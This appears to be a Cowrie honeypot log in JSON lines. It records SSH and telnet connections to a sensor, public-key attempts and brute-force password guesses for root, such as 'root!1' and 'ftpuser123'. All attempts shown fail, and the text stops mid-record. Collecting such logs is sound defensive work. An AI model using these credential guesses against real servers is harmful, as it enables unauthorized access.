{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bf:8e:27:eb:75:06:16:7c:13:c8:df:cd:9b:9d:78:89","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCl5WhU9MBfs5QaS9Gefv0TWIAQh2+LluRds51MGja22gHV1rj8OseQitFQSDJ2c/AXiYqixvN2CrhG2tGnZkfuiV0763cZG+6wnC8TfivAczN8pAz4tMrQvFFZZSKWoxAOWoB80xn7cyHXeyRndbWwu3VDomqf1lf6MjNK00J5aaAJx+XYayaD6WCLNoUxQc44Usz/x2qHhqN9Elay3qRT/FeECbJvnAHueTumq/mPunlP9I9V4EirZCdrAtGvY7NTYUcy8gvpgZIEi1mfORTRmKnaBykzEJ9fU8KDgblCiTETZy7i/9DV0QB4X+ON+R6H92gyDma+SCDGytsKytH7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:50:14.250546Z","src_ip":"142.171.24.198","session":"3431b43bc886","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0a:32:9c:1f:25:d2:15:3a:83:60:a5:6e:9c:a6:05:32","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAB+wCocBSsofH12VJeAEERCqPnVdzxw4dPu/0TocwmR8mljUgnIH0axk8K81XIBSfynbaLTKOeSZBGkmUgCFyTwVu40GH7xC/KmuWDI9DHvIOVJ+7fl8PrMXF1ohQLWhttTVV4a8wNVz/8eG1+j3EsjWK5m06yEme0S3B4iZvLnGm4AS6F9mHeKv01eQmhtJ/CrGwfJGHej+rgilOpxj+/Z1uEXGP/Xe0WohR2ld5jLUOiQ0ddbYTv71004laNh4XYiV21NmJ7QvrD0b5q3X5DER8oruXAg1Sq482NpQcTMnP9faiOzD2Nr2GiR3Xgyow6K6AGGmwkRLHrMPJiigcaOMg9k6vY+eNqH8oXRZ5OJWnqoXXwaNYsU4TIwU0h1fmC0GYCT3jey1z5Krj9bMDuUFAyl4B6+Fs7lArIJachmqdd0yw/GmAFOtk4jB3H83/Q9E8RDBig+PEFEAAPruaKhYqsy91DtmKciRmoygS9sjyD9NLa/vBMWDIJKVxRw4VkC2RwmgDO0YO78hGKWMjQSh01eo0UxGOXS150FIpyqC3+6B/Leytf3uPcamkJVVOtGOp+q2oy5/2N35h0Vz6udoso/tpTFmk/B1pFtO3ARMz8GA4YlZSe8ilsgxDLEDZvk2dAQC3ZJrbaYEJu/WDCMrwZ9vsYonXHVmoslw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0a:32:9c:1f:25:d2:15:3a:83:60:a5:6e:9c:a6:05:32","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:50:14.322197Z","src_ip":"142.171.24.198","session":"3431b43bc886","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0a:32:9c:1f:25:d2:15:3a:83:60:a5:6e:9c:a6:05:32","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAB+wCocBSsofH12VJeAEERCqPnVdzxw4dPu/0TocwmR8mljUgnIH0axk8K81XIBSfynbaLTKOeSZBGkmUgCFyTwVu40GH7xC/KmuWDI9DHvIOVJ+7fl8PrMXF1ohQLWhttTVV4a8wNVz/8eG1+j3EsjWK5m06yEme0S3B4iZvLnGm4AS6F9mHeKv01eQmhtJ/CrGwfJGHej+rgilOpxj+/Z1uEXGP/Xe0WohR2ld5jLUOiQ0ddbYTv71004laNh4XYiV21NmJ7QvrD0b5q3X5DER8oruXAg1Sq482NpQcTMnP9faiOzD2Nr2GiR3Xgyow6K6AGGmwkRLHrMPJiigcaOMg9k6vY+eNqH8oXRZ5OJWnqoXXwaNYsU4TIwU0h1fmC0GYCT3jey1z5Krj9bMDuUFAyl4B6+Fs7lArIJachmqdd0yw/GmAFOtk4jB3H83/Q9E8RDBig+PEFEAAPruaKhYqsy91DtmKciRmoygS9sjyD9NLa/vBMWDIJKVxRw4VkC2RwmgDO0YO78hGKWMjQSh01eo0UxGOXS150FIpyqC3+6B/Leytf3uPcamkJVVOtGOp+q2oy5/2N35h0Vz6udoso/tpTFmk/B1pFtO3ARMz8GA4YlZSe8ilsgxDLEDZvk2dAQC3ZJrbaYEJu/WDCMrwZ9vsYonXHVmoslw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:50:14.327081Z","src_ip":"142.171.24.198","session":"3431b43bc886","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"41:d0:64:ac:a6:ac:ec:41:b4:7d:9c:35:42:38:58:b0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuHo+Qe9dXDiQnbgVrr8c/DLekl9sJt0Xu20l69SdsmtnxVKu4FhldDB4Y799kM/zGxO9uZsko9hpuIZemiMIN57rb5P8kNBV5HuOo2Hk/bbw40ejHJSLPyqhxeV0V4he5WXZHHaJtD67ESTVYixuuZZvQPgTFeDi1gqGQbb4vkbjB7aj0RjgXMZCgn+BpC2F7xSwDqFuHgy5Y4hdGpi+iuovuXQFPPtlfu6JLYNaZxvxZvzz++O2A3FFE3JWRX0O5QZAZNFJ22dPHV23vLx6cPKsM7DRJjrDYVl1G7vCewAu2MpoEmL03rRUJazfjlrCOJffOTYL/5IpTtnvKsxOn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 41:d0:64:ac:a6:ac:ec:41:b4:7d:9c:35:42:38:58:b0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:50:14.398750Z","src_ip":"142.171.24.198","session":"3431b43bc886","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"41:d0:64:ac:a6:ac:ec:41:b4:7d:9c:35:42:38:58:b0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuHo+Qe9dXDiQnbgVrr8c/DLekl9sJt0Xu20l69SdsmtnxVKu4FhldDB4Y799kM/zGxO9uZsko9hpuIZemiMIN57rb5P8kNBV5HuOo2Hk/bbw40ejHJSLPyqhxeV0V4he5WXZHHaJtD67ESTVYixuuZZvQPgTFeDi1gqGQbb4vkbjB7aj0RjgXMZCgn+BpC2F7xSwDqFuHgy5Y4hdGpi+iuovuXQFPPtlfu6JLYNaZxvxZvzz++O2A3FFE3JWRX0O5QZAZNFJ22dPHV23vLx6cPKsM7DRJjrDYVl1G7vCewAu2MpoEmL03rRUJazfjlrCOJffOTYL/5IpTtnvKsxOn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:50:14.403678Z","src_ip":"142.171.24.198","session":"3431b43bc886","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8b:86:2e:2f:fb:80:f4:42:ea:fe:8f:a0:af:0c:1f:84","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCqnCpEDHf2nVioUHvAmG2oImyIx/Pr56Kzxac/gVQVGe4sGVQ2CwdTVg/Uaf8Qg/mOzZPocAa5kknIZJ+cOL0gtOad4cr9cQX4ZZ3emtkT3p5jiUPyp8cR2Uk8JV4x0VQ++uxP8EijdPvQFSShYJqGej4JKAp6jHaarr3pwIiDLEBUM44uP/TNl3g6NEbXUVqm1/bJywPoFL+AcjtGZZI05WPg7k2cg54LFrMV0JdVl3wk6KzBG8ggmzqttwWH9H/C7lQRbkijxegG0W0DVMYDQ928EMgE128WoZxUppmexC+XPEfN8UWCJUbRczMdOcou2yd2iDrCVi/w4ZF86EJ4z3DvrwRs2UBNnBs026pzNekRqiWg+bTjjlkZ5IDUskyoJjMQACTBBMzS+/OucngIMWKvclTd05jy/zmD481WPDwKoo5o0O8PCBs/MHH4mmZPsUUApZPOqBc8UF5LDEkDVx19e952OhqjoD5LYeePYzs6V+zh3Y8eaTJ7j4VnE+s8CoPiDYzsbWt/pnBZNG9E9QDEvPbMISWSOZzy55Jpfuz+ZQjNxl9jlVz87tKKeRThLQ0CJsZeou4Z72ZXwo8t4cvNEFq+sjexWFzeFfItNhczOgkwPo81rsSYlV86dpxgrVnG1NiEixrbv5DAi/4D3peJBCx9SrxVGVDElbra1Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8b:86:2e:2f:fb:80:f4:42:ea:fe:8f:a0:af:0c:1f:84","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:50:14.475607Z","src_ip":"142.171.24.198","session":"3431b43bc886","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8b:86:2e:2f:fb:80:f4:42:ea:fe:8f:a0:af:0c:1f:84","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCqnCpEDHf2nVioUHvAmG2oImyIx/Pr56Kzxac/gVQVGe4sGVQ2CwdTVg/Uaf8Qg/mOzZPocAa5kknIZJ+cOL0gtOad4cr9cQX4ZZ3emtkT3p5jiUPyp8cR2Uk8JV4x0VQ++uxP8EijdPvQFSShYJqGej4JKAp6jHaarr3pwIiDLEBUM44uP/TNl3g6NEbXUVqm1/bJywPoFL+AcjtGZZI05WPg7k2cg54LFrMV0JdVl3wk6KzBG8ggmzqttwWH9H/C7lQRbkijxegG0W0DVMYDQ928EMgE128WoZxUppmexC+XPEfN8UWCJUbRczMdOcou2yd2iDrCVi/w4ZF86EJ4z3DvrwRs2UBNnBs026pzNekRqiWg+bTjjlkZ5IDUskyoJjMQACTBBMzS+/OucngIMWKvclTd05jy/zmD481WPDwKoo5o0O8PCBs/MHH4mmZPsUUApZPOqBc8UF5LDEkDVx19e952OhqjoD5LYeePYzs6V+zh3Y8eaTJ7j4VnE+s8CoPiDYzsbWt/pnBZNG9E9QDEvPbMISWSOZzy55Jpfuz+ZQjNxl9jlVz87tKKeRThLQ0CJsZeou4Z72ZXwo8t4cvNEFq+sjexWFzeFfItNhczOgkwPo81rsSYlV86dpxgrVnG1NiEixrbv5DAi/4D3peJBCx9SrxVGVDElbra1Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:50:14.480209Z","src_ip":"142.171.24.198","session":"3431b43bc886","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8c:92:26:9c:8e:96:6b:59:c8:71:ca:b0:63:0c:17:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgRIY+3Id9lyCRjlemt7F6DB/2JlFBWBplJnW9uLRKc9CucXs55CsmWbNW+ZVc0FNiISJJ/TqXANpRVsacQM8v3XCz4xnD8g1Ni5tMMOF0bI/3J7A3EINRvMvSQuJwgvocE9Xw+b7L1ziEzGZv7PCbzkcmOXqkIMebIkF3aKAOHuaunsQ7g6esqBmqueHF5hq7vYm0LfBWD/HuSfRlmFaLCwgzFLkbgdAIuoABkk5oCEFYFIHwY4W7//+PpZrbyDR3/ha3dMI6vZcTcKbci09vs4foohUb8XyaRrBpeE/RcVFd1LAcBx8+ShTDGsKwvQSXvOGdh8IKhQmQN39d+k/H","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8c:92:26:9c:8e:96:6b:59:c8:71:ca:b0:63:0c:17:f4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:50:14.553284Z","src_ip":"142.171.24.198","session":"3431b43bc886","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8c:92:26:9c:8e:96:6b:59:c8:71:ca:b0:63:0c:17:f4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgRIY+3Id9lyCRjlemt7F6DB/2JlFBWBplJnW9uLRKc9CucXs55CsmWbNW+ZVc0FNiISJJ/TqXANpRVsacQM8v3XCz4xnD8g1Ni5tMMOF0bI/3J7A3EINRvMvSQuJwgvocE9Xw+b7L1ziEzGZv7PCbzkcmOXqkIMebIkF3aKAOHuaunsQ7g6esqBmqueHF5hq7vYm0LfBWD/HuSfRlmFaLCwgzFLkbgdAIuoABkk5oCEFYFIHwY4W7//+PpZrbyDR3/ha3dMI6vZcTcKbci09vs4foohUb8XyaRrBpeE/RcVFd1LAcBx8+ShTDGsKwvQSXvOGdh8IKhQmQN39d+k/H","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:50:14.557323Z","src_ip":"142.171.24.198","session":"3431b43bc886","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:50:14.628557Z","src_ip":"142.171.24.198","session":"3431b43bc886","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.27.36.16","src_port":56056,"dst_ip":"159.203.135.109","dst_port":22,"session":"c335f53d9e46","protocol":"ssh","message":"New connection: 2.27.36.16:56056 (159.203.135.109:22) [session: c335f53d9e46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:50:14.680696Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:50:14.692839Z","src_ip":"2.27.36.16","session":"c335f53d9e46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:50:14.792817Z","src_ip":"2.27.36.16","session":"c335f53d9e46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cloud","message":"login attempt [root/cloud] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:50:15.238637Z","src_ip":"2.27.36.16","session":"c335f53d9e46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.245.222.56","src_port":40730,"dst_ip":"159.203.135.109","dst_port":22,"session":"968f4d735c34","protocol":"ssh","message":"New connection: 163.245.222.56:40730 (159.203.135.109:22) [session: 968f4d735c34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:50:16.170052Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:50:16.186177Z","src_ip":"163.245.222.56","session":"968f4d735c34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:50:16.194284Z","src_ip":"163.245.222.56","session":"968f4d735c34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root!1","message":"login attempt [root/root!1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:50:16.257233Z","src_ip":"163.245.222.56","session":"968f4d735c34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:50:16.345073Z","src_ip":"2.27.36.16","session":"c335f53d9e46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:50:17.267367Z","src_ip":"163.245.222.56","session":"968f4d735c34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.26.106.33","src_port":26454,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f7c9aa6695a","protocol":"ssh","message":"New connection: 94.26.106.33:26454 (10.17.0.5:22) [session: 0f7c9aa6695a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:50:24.236288Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:50:24.249133Z","src_ip":"94.26.106.33","session":"0f7c9aa6695a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.181.156.205","src_port":41843,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae2303ee8b60","protocol":"ssh","message":"New connection: 41.181.156.205:41843 (159.203.135.109:22) [session: ae2303ee8b60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:50:30.216881Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:50:30.222826Z","src_ip":"41.181.156.205","session":"ae2303ee8b60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:50:30.468857Z","src_ip":"41.181.156.205","session":"ae2303ee8b60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ftpuser123","message":"login attempt [root/ftpuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:50:31.478897Z","src_ip":"41.181.156.205","session":"ae2303ee8b60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"106.13.14.186","src_port":53926,"dst_ip":"159.203.135.109","dst_port":22,"session":"9549b4c328e2","protocol":"ssh","message":"New connection: 106.13.14.186:53926 (159.203.135.109:22) [session: 9549b4c328e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:50:31.852302Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:50:31.857300Z","src_ip":"106.13.14.186","session":"9549b4c328e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:50:32.089629Z","src_ip":"106.13.14.186","session":"9549b4c328e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:50:32.725813Z","src_ip":"41.181.156.205","session":"ae2303ee8b60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Info123","message":"login attempt [root/Info123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:50:33.281858Z","src_ip":"106.13.14.186","session":"9549b4c328e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.233.121.75","src_port":59378,"dst_ip":"10.17.0.5","dst_port":23,"session":"42fdebb9845e","protocol":"telnet","message":"New connection: 186.233.121.75:59378 (10.17.0.5:23) [session: 42fdebb9845e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:51:20.786907Z"}
{"eventid":"cowrie.session.connect","src_ip":"163.245.222.56","src_port":39602,"dst_ip":"159.203.135.109","dst_port":22,"session":"0bf3ff59d708","protocol":"ssh","message":"New connection: 163.245.222.56:39602 (159.203.135.109:22) [session: 0bf3ff59d708]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:51:23.007159Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T01:51:23.012101Z","src_ip":"163.245.222.56","session":"0bf3ff59d708","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-